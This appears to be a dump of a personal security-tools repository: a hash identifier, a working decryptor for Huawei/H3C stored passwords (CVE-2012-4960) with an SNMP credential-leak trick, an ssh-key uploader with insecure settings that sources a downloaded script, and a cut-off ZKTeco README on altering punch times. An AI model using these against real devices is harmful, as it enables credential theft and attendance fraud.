hash[32:33].find(':')==0: 493 | jerar.append("116020") 494 | def SAM(): 495 | hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5' 496 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0: 497 | jerar.append("116040") 498 | 499 | def SHA256Django(): 500 | hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3' 501 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0: 502 | jerar.append("117020") 503 | 504 | def RipeMD320(): 505 | hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef' 506 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 507 | jerar.append("118020") 508 | def RipeMD320HMAC(): 509 | hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78' 510 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 511 | jerar.append("118040") 512 | 513 | def SHA384(): 514 | hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b' 515 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 516 | jerar.append("119020") 517 | def SHA384HMAC(): 518 | hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b' 519 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 520 | jerar.append("119040") 521 | 522 | def SHA256s(): 523 | hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.' 524 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0: 525 | jerar.append("120020") 526 | 527 | def SHA384Django(): 528 | hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba' 529 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0: 530 | print " [+] SHA-384(Django)" 531 | jerar.append("121020") 532 | 533 | def SHA512(): 534 | hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e' 535 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 536 | jerar.append("122020") 537 | def SHA512HMAC(): 538 | hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f' 539 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 540 | jerar.append("122060") 541 | def Whirlpool(): 542 | hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb' 543 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 544 | jerar.append("122040") 545 | def WhirlpoolHMAC(): 546 | hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9' 547 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 548 | jerar.append("122080") 549 | 550 | 551 | print logo 552 | while True: 553 | jerar=[] 554 | print """ 555 | -------------------------------------------------------------------------""" 556 | hash = raw_input(" HASH: ") 557 | ADLER32(); CRC16(); CRC16CCITT(); CRC32(); CRC32B(); DESUnix(); DomainCachedCredentials(); FCS16(); GHash323(); GHash325(); GOSTR341194(); Haval128(); Haval128HMAC(); Haval160(); Haval160HMAC(); Haval192(); Haval192HMAC(); Haval224(); Haval224HMAC(); Haval256(); Haval256HMAC(); LineageIIC4(); MD2(); MD2HMAC(); MD4(); MD4HMAC(); MD5(); MD5APR(); MD5HMAC(); MD5HMACWordpress(); MD5phpBB3(); MD5Unix(); MD5Wordpress(); MD5Half(); MD5Middle(); MD5passsaltjoomla1(); MD5passsaltjoomla2(); MySQL(); MySQL5(); MySQL160bit(); NTLM(); RAdminv2x(); RipeMD128(); RipeMD128HMAC(); RipeMD160(); RipeMD160HMAC(); RipeMD256(); RipeMD256HMAC(); RipeMD320(); RipeMD320HMAC(); SAM(); SHA1(); SHA1Django(); SHA1HMAC(); SHA1MaNGOS(); SHA1MaNGOS2(); SHA224(); SHA224HMAC(); SHA256(); SHA256s(); SHA256Django(); SHA256HMAC(); SHA256md5pass(); SHA256sha1pass(); SHA384(); SHA384Django(); SHA384HMAC(); SHA512(); SHA512HMAC(); SNEFRU128(); SNEFRU128HMAC(); SNEFRU256(); SNEFRU256HMAC(); Tiger128(); Tiger128HMAC(); Tiger160(); Tiger160HMAC(); Tiger192(); Tiger192HMAC(); Whirlpool(); WhirlpoolHMAC(); XOR32(); md5passsalt(); md5saltmd5pass(); md5saltpass(); md5saltpasssalt(); md5saltpassusername(); md5saltmd5pass(); md5saltmd5passsalt(); md5saltmd5passsalt(); md5saltmd5saltpass(); md5saltmd5md5passsalt(); md5username0pass(); md5usernameLFpass(); md5usernamemd5passsalt(); md5md5pass(); md5md5passsalt(); md5md5passmd5salt(); md5md5saltpass(); md5md5saltmd5pass(); md5md5usernamepasssalt(); md5md5md5pass(); md5md5md5md5pass(); md5md5md5md5md5pass(); md5sha1pass(); md5sha1md5pass(); md5sha1md5sha1pass(); md5strtouppermd5pass(); sha1passsalt(); sha1saltpass(); sha1saltmd5pass(); sha1saltmd5passsalt(); sha1saltsha1pass(); sha1saltsha1saltsha1pass(); sha1usernamepass(); sha1usernamepasssalt(); sha1md5pass(); sha1md5passsalt(); sha1md5sha1pass(); sha1sha1pass(); sha1sha1passsalt(); sha1sha1passsubstrpass03(); sha1sha1saltpass(); sha1sha1sha1pass(); sha1strtolowerusernamepass() 558 | 559 | if len(jerar)==0: 560 | print "" 561 | print " Not Found." 562 | elif len(jerar)>2: 563 | jerar.sort() 564 | print "" 565 | print "Possible Hashs:" 566 | print "[+] ",algorithms[jerar[0]] 567 | print "[+] ",algorithms[jerar[1]] 568 | print "" 569 | print "Least Possible Hashs:" 570 | for a in range(int(len(jerar))-2): 571 | print "[+] ",algorithms[jerar[a+2]] 572 | else: 573 | jerar.sort() 574 | print "" 575 | print "Possible Hashs:" 576 | for a in range(len(jerar)): 577 | print "[+] ",algorithms[jerar[a]] 578 | -------------------------------------------------------------------------------- /sec/hh3c_cipher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | __version__ = '1.0' 5 | 6 | """ 7 | 华为设备密码解密脚本 8 | 9 | hh3c_cipher.py - You don't make an omlette without cracking a few eggs! 10 | 11 | Here's the story... 12 | =================== 13 | 14 | So here I am, sitting in a crowded office in Asia with a bunch of guys 15 | casually speaking about their network. It's a combination of Cisco, 16 | Huawei, HP, Juniper and whatever else they can get their hands on. 17 | 18 | We talk about vulnerabilities and the topic of the Cisco Type 7 password 19 | comes up. It's still part of Cisco IOS. Look at Huawei (ne H3C ne 3Com) 20 | and their cipher! 21 | 22 | I mean just look at it! It's long and scary looking! 23 | 24 | I'm not phased by this part of the argument. It looks too much like a Base64 25 | string. I obtain some sample cipher results and try my hand at analysis. 26 | Shift bits, string templates... Nope. Doesn't seem to be Base64. 27 | 28 | Frustrated I searched the Internet to see if anyone has figured this out but, 29 | alas, it didn't look like it. I shared my collected info with some friends 30 | and went to do other things. 31 | 32 | One thing I like to do when I encounter new (to me) devices with SNMP is run 33 | "snmpwalk -c -v 1 $ip .1 > device-mibwalk.txt" -- as that runs 34 | I search for the vendor's MIB collection to see if there's anything cool you 35 | can do. Usually it doesn't bear fruit but... 36 | 37 | Hark! What are these little nuggets before me? 38 | 39 | SNMPv2-SMI::enterprises.2011.10.2.12.1.1.1.1.1 = "admin" 40 | SNMPv2-SMI::enterprises.2011.10.2.12.1.1.1.2.1 = "" 41 | 42 | enterprises.2011.2.12.1.1.1 is the H3CUser MIB which, for some reason, will 43 | return the username, password or cipher, access level, and some other bits 44 | of info. So for you penetration testers out there, if you find the SNMP R/O 45 | string then you also get the local accounts/passwords! 46 | 47 | Sure you can try to use the H3CCopyConfiguration routines but that may leave 48 | a digital trail.. This... this just gives you the keys because you asked 49 | asked nicely and knew the secret handshake. 50 | 51 | Reinvigorated by this finding I picked up the collection of cipher hashes 52 | again. 53 | 54 | What follows is the result of this research. 55 | 56 | Timeline 57 | -------- 58 | 59 | June 21, 2012 - see cipher string in snmpwalk, begin curiosity! 60 | July 2012 - work on deciphering the ciphertext 61 | July 20ish, 2012 - success! 62 | August 6, 2012 - contact US-CERT (VU#225404) with intent to disclose 63 | September 5, 2012 - Ask US-CERT for update from HP/H3C 64 | September 6, 2012 - HP/H3C asks for more time before 45-day disclosure 65 | September 6, 2012 - Grant extension till October 20 (Toorcon 14) 66 | October 20, 2012 - Disclos..err..delay per HP request 67 | November 13, 2012 - eMaze researchers disclose the cipher 68 | November 14, 2012 - publish.....! 69 | 70 | References: 71 | 72 | US-CERT VU#948096 73 | CVE-2012-4960 74 | http://blog.emaze.net/2012/11/weak-password-encryption-on-huawei.html 75 | 76 | """ 77 | 78 | import sys, os 79 | from Crypto.Cipher import DES 80 | from optparse import OptionParser 81 | 82 | class HH3CError(Exception):#ValueError, AssertionError): 83 | pass 84 | 85 | class HH3CCipher(): 86 | """ 87 | HH3CCipher class 88 | 89 | Huawei and HP/H3C HP devices have a consistent method for protecting 90 | passwords stored in their configuration. When entering passwords on 91 | the CLI or in text files, the "password cipher" command will accept 92 | either the cleartext or a cipher. 93 | 94 | To recognize the difference the device looks at the length of the string. 95 | If it's 24 or 88 characters it will then check to see if it's an ASCII 96 | representation of the cipher. 97 | """ 98 | #--------------------------------------------------------------------- 99 | def __init__(self, key='\x01\x02\x03\x04\x05\x06\x07\x08'): 100 | """ 101 | Sets up DES box 102 | 103 | Args: 104 | @key = DES secret key. Default: '\x01\x02\x03\x04\x05\x06\x07\x08' 105 | """ 106 | self.desbox = DES.new(key, DES.MODE_ECB) 107 | 108 | #--------------------------------------------------------------------- 109 | def bintoascii(self, cipher=None, cipher_len=24): 110 | """ 111 | HH3C Binary to ASCII converter 112 | XXX: Not complete 113 | TOOD: Comments! Logic flow! Notes! 114 | 115 | Args: 116 | @cipher = Encrypted cipher string to convert to ASCII 117 | @cipher_len = Output length: 24 or 88 118 | 119 | Returns: 120 | @result = ASCII representation of ciphertext string 121 | """ 122 | 123 | if not isinstance(cipher, str): 124 | raise HH3CError, 'No cipher string value sent' 125 | return "" 126 | 127 | a0 = binval # binary value 128 | a3 = cipher_len # length of cipher output 129 | if a3 == 88: # set the rotation value 130 | a1 = 64 131 | else: 132 | a1 = 16 133 | 134 | # null out the result register 135 | result = [] 136 | [result.append('\x00') for c in range(0, a3)] 137 | 138 | a3 = cipher 139 | t1 = 0 140 | t0 = 63 141 | 142 | return result 143 | 144 | #--------------------------------------------------------------------- 145 | def asciitobin(self, cipher=None): 146 | """ 147 | HH3C ASCII to Binary converter 148 | 149 | Args: 150 | @cipher = ASCII Ciphertext to convert to binary 151 | 152 | Returns: 153 | @result = Binary string to send to decrypt function 154 | """ 155 | 156 | if not isinstance(cipher, str): 157 | raise HH3CError, 'No string sent' 158 | 159 | cipherlen = len(cipher) 160 | """ 161 | if cipherlen == 24: 162 | endstep = 16 163 | elif cipherlen == 88: 164 | endstep = 64 165 | else: 166 | """ 167 | if cipherlen != 24 and cipherlen != 88: 168 | raise HH3CError, '%s invalid: must be 24 or 88 characters in length but yours is %s.' % (cipher, cipherlen) 169 | 170 | # result is an array of bytes 171 | result = bytearray() 172 | 173 | # check value starts as ordinal of 'a' (97) 174 | chkval = ord('a') 175 | 176 | # loop in groups of 4 characters at once. 177 | for cnt in range(0, cipherlen, 4): 178 | # -------> character #1 179 | # get ordinal of first character in group 180 | cv1 = ord(cipher[cnt]) 181 | 182 | if cv1 == chkval: 183 | # ordinals are the same, set checkval 63 184 | cv1 = ord('?') 185 | 186 | # move cv1 to cv2 and subtract 33 187 | cv2 = cv1-33 188 | 189 | # -------> character #2 190 | # get the ordinal of the next character 191 | cv1 = ord(cipher[cnt+1]) 192 | 193 | if cv1 != chkval: 194 | # ordinals are not the same, shift cv2 left 6 bytes 195 | cv2 = cv2 << 6 196 | else: 197 | # ordinals are the same, set checkval to 63 198 | cv1 = ord('?') 199 | 200 | # move cv1 to cv2 and subtract 33 201 | cv1 = cv1-33 202 | # or cv2 and cv1 together, result into cv2 203 | cv2 = cv2 | cv1 204 | 205 | # --------> character #3 206 | # get the ordinal of the 3rd character 207 | cv1 = ord(cipher[cnt+2]) 208 | 209 | if cv1 != chkval: 210 | # ordinals are not the same, shift cv2 left 6 bytes 211 | cv2 = cv2 << 6 212 | else: 213 | # ordinals are the same, set checkval to 63 214 | cv1 = ord('?') 215 | 216 | # move cv1 to cv2 and subtract 33 217 | cv1 = cv1-33 218 | # or cv2 and cv1 together, result into cv2 219 | cv2 = cv2 | cv1 220 | 221 | # --------> character #4 222 | # get the ordinal of the 4th character 223 | cv1 = ord(cipher[cnt+3]) 224 | if cv1 != chkval: 225 | # ordinals are not the same, shift cv2 left 6 bytes 226 | cv2 = cv2 << 6 227 | else: 228 | # ordinals are the same, set checkval to 63 229 | cv1 = ord('?') 230 | 231 | # output 232 | cv1 = cv1-33 233 | cv2 = cv2 | cv1 234 | 235 | # take ordinal result and cut byte values into result 236 | result.append((cv2 & 0xff0000) >> 16) 237 | result.append((cv2 & 0xff00) >> 8) 238 | result.append(cv2 & 0xff) 239 | 240 | #print str(result).encode("hex") 241 | 242 | return result 243 | 244 | #--------------------------------------------------------------------- 245 | def filltext(self, ct=""): 246 | """ 247 | Pad a cleartext value with nulls 248 | 249 | If len(ct) <= 24, fill with null until len == 24 else fill with 250 | null until len == 88 251 | 252 | Args: 253 | @ct = Cleartext string 254 | 255 | Returns: 256 | @result = Null padded string output 257 | """ 258 | outp = [] 259 | if len(ct) <= 24: 260 | [outp.append('\x00') for z in range(0,24)] 261 | else: 262 | [outp.append('\x00') for z in range(0,88)] 263 | for z in range(0, len(ct)-1): 264 | outp[z] = ct[z] 265 | return "".join(outp) 266 | 267 | #--------------------------------------------------------------------- 268 | def fillbin(self, b=bytearray()): 269 | """ 270 | Pad a bytearray value to 8 byte boundary for DES 271 | 272 | Args: 273 | @b = Python bytearray of hex characters 274 | 275 | Returns: 276 | @b = Null padded Python bytearray 277 | """ 278 | if not isinstance(b, bytearray): 279 | return b 280 | 281 | b = str(b) 282 | while (len(b) % 8): 283 | b += '\x00' * (len(b) % 8) 284 | return b 285 | 286 | #--------------------------------------------------------------------- 287 | def decipher(self, cipher=None): 288 | """ 289 | Takes an ASCII cipher, turns it into binary string then decrypts 290 | it with a static keyed DES in ECB mode. DES requires sources to be 291 | multiples of 8 bytes so pad it if necessary. 292 | 293 | Args: 294 | @cipher = 24 or 88 length ASCII ciphertext 295 | 296 | Returns: 297 | @string 298 | """ 299 | try: 300 | binval = self.asciitobin(cipher) 301 | binval = self.fillbin(binval) 302 | a = [ord(x) for x in binval] 303 | #print a 304 | ct = self.desbox.decrypt(str(binval)) 305 | except HH3CError, e: 306 | raise HH3CError, e 307 | 308 | # return up to the first null byte 309 | # XXX: some tests are failing! 310 | a = [ord(x) for x in ct] 311 | #print a 312 | return ct[:ct.find('\x00')] 313 | 314 | #--------------------------------------------------------------------- 315 | def encipher(self, ct=None): 316 | """ 317 | Takes a cleartext value, encrypts it with static keyed DES in ECB 318 | mode. DES requires sources to be multiples of 8 bytes to pad if 319 | necessary. Convert binary result to ASCII. 320 | 321 | Args: 322 | @cleartext = Cleartext string to encrypt 323 | 324 | Returns: 325 | @string - The ASCII string representation 326 | """ 327 | ct = self.filltext(ct) 328 | binval = self.desbox.encrypt(ct) 329 | 330 | return self.bintoascii(binval) 331 | 332 | ########################################################################## 333 | def main(argv=None): 334 | Progname = os.path.basename(sys.argv[0]) 335 | 336 | optparser = OptionParser(version="%s: %s" % (Progname, __version__)) 337 | optparser.add_option("-d", "--debug", dest="debug", 338 | action="store_true", help="log debugging messages") 339 | optparser.add_option("-c", "--cipher", dest="cipher", action="store", 340 | help="ASCII ciphertext to decrypt") 341 | optparser.add_option("-f", "--file", dest="file", action="store", 342 | help="Configuration filename") 343 | optparser.add_option("-l", "--list", dest="list", action="store", 344 | help="Filename with ciphertexts, one per line") 345 | optparser.add_option("-m", "--csv", dest="csv", action="store", 346 | help="Parse Metasploit CSV output") 347 | optparser.add_option("-t", "--tests", dest="tests", action="store_true", 348 | help="Run test list of ciphertexts") 349 | 350 | (options, params) = optparser.parse_args() 351 | 352 | hh3c = HH3CCipher() 353 | if options.tests: 354 | # run through a list of known cleartext/cipher combos and compare 355 | test_ciphers = [ 356 | ['bad', 'bad'], 357 | ['123', '7-CZB#/YX]KQ=^Q`MAF4<1!!'], 358 | ['123', '!TP<\*EMUHL,408`W7TH!Q!!'], 359 | ['1234567', '_(TT8F]Y\\5SQ=^Q`MAF4<1!!'], 360 | ['huawei', 'N`C55QK<`=/Q=^Q`MAF4<1!!'], 361 | ['a', 'D(HD%5.*MN;Q=^Q`MAF4<1!!'], 362 | ['aa', 'P+J^5@ZGG[3Q=^Q`MAF4<1!!'], 363 | ['aaa', '+Q4Z3D_*-N[Q=^Q`MAF4<1!!'], 364 | ['aaaa', 'EHHC8L%9.F3Q=^Q`MAF4<1!!'], 365 | ['aaaaa', 'X`9:NJ_A#$WQ=^Q`MAF4<1!!'], 366 | ['aaaaaa', 'B.7)"^_$++[O3Q=^Q`MAF4<1!!'], 378 | ['BB', '.=)#<4^HEV\'Q=^Q`MAF4<1!!'], 379 | ['BBB', '=;X/#N\\KW5_Q=^Q`MAF4<1!!'], 380 | ['BBBB', 'R([:]]B:1Z\'Q=^Q`MAF4<1!!'], 381 | ['BBBBB', '_SY$PANNSX\'Q=^Q`MAF4<1!!'], 382 | ['BBBBBB', 'C"#BJT+2Y_;Q=^Q`MAF4<1!!'], 383 | ['BBBBBBBB', '*$&$;@K&L+GQ=^Q`MAF4<1!!'], 384 | ['BBBBBBBBBBB', '*$&$;@K&L+FRL=Y+XOL:4Q!!'], 385 | ['BBBBBBBBBBBB', '*$&$;@K&L+H%@JHTS&F$E1!!'], 386 | ['BBBBBBBBBBBBB', '*$&$;@K&L+H\\,A/_#WX,=1!!'], 387 | ['BBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK9A1I;=SEa0GM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'], 388 | ['BBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK1!!'], 389 | ['BBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK=2_G@0)75/2M(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'], 390 | ['BBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJM(0=0\\)*5WWQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'], 391 | ['BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJ*$&$;@K&L+GQ=^Q`MAF4<<"TX$_S#6.NM(0=0\\)*5WWQ=^Q`MAF4<1!!'], 392 | ['BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', '*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJ*$&$;@K&L+EE-5.J_I7MK31R1WH[B;SJM(0=0\\)*5WWQ=^Q`MAF4<1!!'], 393 | ] 394 | 395 | print "--------------------------------------+" 396 | print "+---( HH3C Cipher Tests )-------------+" 397 | print "--------------------------------------+" 398 | tested = 0 399 | passed = 0 400 | failed = 0 401 | for test_cipher in test_ciphers: 402 | tested += 1 403 | (cleartext, cipher) = test_cipher 404 | try: 405 | result = hh3c.decipher(cipher) 406 | if result == cleartext: 407 | #print "Passed: expected %s, received %s" % (cleartext, result) 408 | passed += 1 409 | else: 410 | print "%s FAILED: expected %s (len: %s), received %s (len: %s)" % (cipher, cleartext.encode("hex"), len(cleartext), result.encode("hex"), len(result)) 411 | failed += 1 412 | except Exception, e: 413 | print "Exception: %s" % (e) 414 | failed += 1 415 | 416 | print "\n(%s) Tests performed, (%s) PASSED, (%s) FAILED\n" % (tested, passed, failed) 417 | 418 | elif options.cipher: 419 | print "--------------------------------------+" 420 | print "+---( Single Cipher Decryption )------+" 421 | print "--------------------------------------+" 422 | try: 423 | print hh3c.decipher(options.cipher) 424 | except Exception, e: 425 | print e 426 | 427 | elif options.file: 428 | # input / ouput convert looking for cipher strings 429 | import fileinput 430 | import re 431 | cipher_re = re.compile('password cipher ([\x20-\x7e]{24,88})') 432 | for line in fileinput.input(files=options.file): 433 | match = cipher_re.search(line) 434 | if match: 435 | cipher = match.group(1) 436 | try: 437 | cleartext = hh3c.decipher(cipher) 438 | line = line.replace(cipher, clearetext) 439 | except: 440 | pass 441 | print line 442 | 443 | elif options.list: 444 | import fileinput 445 | for line in fileinput.input(files=options.list): 446 | line = line.strip('\r\n') 447 | try: 448 | print "%s: %s" % (line, hh3c.decipher(line)) 449 | except Exception, e: 450 | print e 451 | 452 | elif options.csv: 453 | import csv 454 | cvsr = csv.reader(open(options.csv, "rb")) 455 | for row in cvsr: 456 | ip = row[0] 457 | account = row[1] 458 | password = row[2] 459 | level = row[3] 460 | if level == "7": 461 | try: 462 | password = hh3c.decipher(password) 463 | except Exception, e: 464 | password = e 465 | print "%s: %s - %s" % (ip, account, password) 466 | 467 | if __name__ == "__main__": 468 | sys.exit(main()) 469 | -------------------------------------------------------------------------------- /sshkey_gen_upload/README.md: -------------------------------------------------------------------------------- 1 | # sshkey_gen_upload 2 | 3 | 自动生成`id_rsa key`和配置文件,并上传到服务器。 -------------------------------------------------------------------------------- /sshkey_gen_upload/sshkey_gen_upload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$HOME/bin 3 | export PATH 4 | 5 | # clear 6 | echo "# auto gen ssh key and upload to remote server " 7 | echo "# Author: Linsir" 8 | echo "# blog: https://linsir.org" 9 | 10 | if [ ! -f "utils.sh" ];then 11 | echo "Download utils.sh to $CURRENT_DIR/utils.sh ." 12 | curl https://raw.githubusercontent.com/linsir/bash-utils/master/utils.sh -o utils.sh 13 | # chmod +x utils.sh 14 | fi 15 | 16 | # locate dir 17 | BASEDIR=$(dirname "$0") 18 | cd "$BASEDIR" || exit 19 | CURRENT_DIR=$(pwd) 20 | 21 | # source utils 22 | source "${CURRENT_DIR}"/utils.sh 23 | 24 | KEYS_NAME="keys_store" 25 | KEYS_PATH="$HOME/.ssh/$KEYS_NAME/" 26 | 27 | CONF_PATH="$HOME/.ssh/config.d/" 28 | 29 | if_dir_not_exist_then_mkdir ${CONF_PATH} 30 | if_dir_not_exist_then_mkdir ${KEYS_PATH} 31 | 32 | function get_base_info(){ 33 | 34 | read -p "Please input config name:" config 35 | string_trim ${config} 36 | if [ "$config" = "" ];then 37 | config_name=`echo $HOME/.ssh/config` 38 | else 39 | config_name=`echo ${CONF_PATH}$config` 40 | fi 41 | 42 | read -p "Please input a server name:" server_name 43 | if_empty_then_exit ${server_name} "param server_name required" 44 | 45 | read -p "ip adderss of server:" ip 46 | if_empty_then_exit ${ip} "param ip required" 47 | 48 | read -p "sshd port of server(default value:22):" port 49 | read -p "username of server(default value:root):" user 50 | port=$(if_empty_then_return_default "${port}" 22) 51 | user=$(if_empty_then_return_default "${user}" root) 52 | 53 | read -p "Password:" password 54 | string_trim ${password} 55 | 56 | use_key=$(confirm_yes "Using ssh key login?") 57 | 58 | string_trim ${server_name} 59 | string_trim ${ip} 60 | string_trim ${port} 61 | string_trim ${user} 62 | string_trim ${password} 63 | 64 | echo_separator 65 | echo "Please confirm the information:" 66 | echo "" 67 | echo -e "the server name: $GREEN$server_name$END" 68 | echo -e "ssh info: $GREEN$user@$ip:$port$END" 69 | echo -e "use key: $GREEN$use_key$END" 70 | echo -e "password: $GREEN$password$END" 71 | echo_separator 72 | } 73 | 74 | # ssh client config 75 | 76 | function config_ssh_config(){ 77 | if [ -e "$HOME/.ssh/config" ];then 78 | echo "IgnoreUnknown Password\n" >> $HOME/.ssh/config 79 | cat >> $HOME/.ssh/config<<-EOF 80 | Host * 81 | StrictHostKeyChecking no 82 | ForwardAgent yes 83 | ServerAliveInterval 30 84 | ControlMaster auto 85 | ControlPath /tmp/ssh_mux_%h_%p_%r 86 | ControlPersist 600 87 | GSSAPIAuthentication no 88 | Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc 89 | HostKeyAlgorithms +ssh-dss 90 | KexAlgorithms +diffie-hellman-group1- 91 | 92 | EOF 93 | 94 | echo "Include config.d/*" >> $HOME/.ssh/config 95 | fi 96 | 97 | } 98 | 99 | # sshkey gen 100 | function create_key(){ 101 | if [ $default_key -eq 1 ];then 102 | KEYS_PATH="$HOME/.ssh/" 103 | fi 104 | log_info $KEYS_PATH 105 | 106 | if_dir_not_exist_then_mkdir ${KEYS_PATH} 107 | 108 | 109 | if [ -f ${KEYS_PATH}$1 ];then 110 | echo "the key exist! use old key" 111 | else 112 | echo "create keys $1 now ..." 113 | ssh-keygen -t rsa -C $1 -f ${KEYS_PATH}$1 114 | ssh-add ${KEYS_PATH}$1 115 | fi 116 | } 117 | 118 | 119 | # copy the key to remote server 120 | function copy_key_remote(){ 121 | while true; do 122 | echo -e "Use default key(${GREEN}id_rsa/id_rsa.pub${END}), or new keys.y/n:\c" 123 | read yn 124 | case $yn in 125 | [Yy]* ) default_key=1; break;; 126 | [Nn]* ) default_key=0; create_key $server_name; break;; 127 | * ) default_key=1; break;; 128 | esac 129 | done 130 | 131 | if [ $default_key -eq 1 ];then 132 | echo -e "use default_key ${GREEN}id_rsa/id_rsa.pub${END}.." 133 | create_key id_rsa 134 | copy_now id_rsa 135 | local RET=$? 136 | echo $RET 137 | if [ $RET -eq 0 ];then 138 | add_config default 139 | exit 1 140 | else 141 | exit 0 142 | fi 143 | else 144 | echo 'use new key...' 145 | create_key $server_name 146 | copy_now $server_name 147 | local RET=$? 148 | if [ $RET -eq 0 ];then 149 | add_config $server_name 150 | exit 1 151 | fi 152 | fi 153 | } 154 | 155 | function copy_now(){ 156 | if [ $default_key -eq 1 ];then 157 | KEYS_PATH="$HOME/.ssh/" 158 | fi 159 | 160 | # ssh-copy-id -i ${KEYS_PATH}$1.pub -p$port -o PubkeyAuthentication=no $user@$ip 161 | log_info 'sshpass -p ${password} "/usr/bin/ssh-copy-id" -i ${KEYS_PATH}$1.pub "-p$port -o PubkeyAuthentication=no $user@$ip"' 162 | sshpass -p $password ssh-copy-id -i ${KEYS_PATH}$1.pub -p$port -o PubkeyAuthentication=no $user@$ip 163 | local RET=$? 164 | if [ $RET -ne 0 ];then 165 | 166 | sshpass -p $password "/usr/bin/ssh-copy-id" -i ${KEYS_PATH}$1.pub "-p $port -o PubkeyAuthentication=no $user@$ip" 167 | fi 168 | } 169 | 170 | function add_config(){ 171 | log_info "add configure to $config_name .." 172 | if [ "$use_key" == "yes" ] && [ "$1" != "default" ] ;then 173 | cat >> $config_name<<-EOF 174 | Host $server_name 175 | hostname $ip 176 | user $user 177 | port $port 178 | Password $password 179 | IdentityFile ~/.ssh/$KEYS_NAME/$1 180 | 181 | EOF 182 | else 183 | cat >> $config_name<<-EOF 184 | Host $server_name 185 | hostname $ip 186 | user $user 187 | port $port 188 | Password $password 189 | IdentityFile ~/.ssh/id_rsa 190 | 191 | EOF 192 | fi 193 | } 194 | 195 | function main(){ 196 | get_base_info 197 | if [ "$use_key" = "yes" ];then 198 | copy_key_remote 199 | else 200 | add_config default 201 | fi 202 | 203 | } 204 | 205 | main 206 | exit 207 | -------------------------------------------------------------------------------- /zkteco_check_in/README.md: -------------------------------------------------------------------------------- 1 | # ZKTeco中控指纹自动打卡及修改打卡时间 2 | 3 | 4 | ## ZKTeco S30 5 | 经过网上查询可知,该中控机可以通过以下方式管理数据 6 | 7 | - 机身自带管理功能 8 | - RS232/485 9 | - USB Host/client 10 | - TCP/IP 客户端软件 11 | - Web 3.0 12 | - Telnet(开发人员) 13 | 14 | 下面来细说这几种方式: 15 | 16 | #### 1. 机身自带管理功能 17 | 这里根据官方帮助 18 | 19 | ##### 1.1 黑白屏机器 20 | 按菜单键输入9999>>>按“上”键>>>8888>>>再按“上”键,指纹机右上方会显示一个随机的数字,将这个数字记下来求和,并输入一个四位数,首(千)位是7,百位是随机的数和的首位,十位是0,个位是随机的数和的未位。如和是一位的个位也是0,再按“上”键和菜单键即可进入设置界面,这个过程不能太长,太长的话就失效了。进入设置菜单将管理员的权限清除掉即可。 21 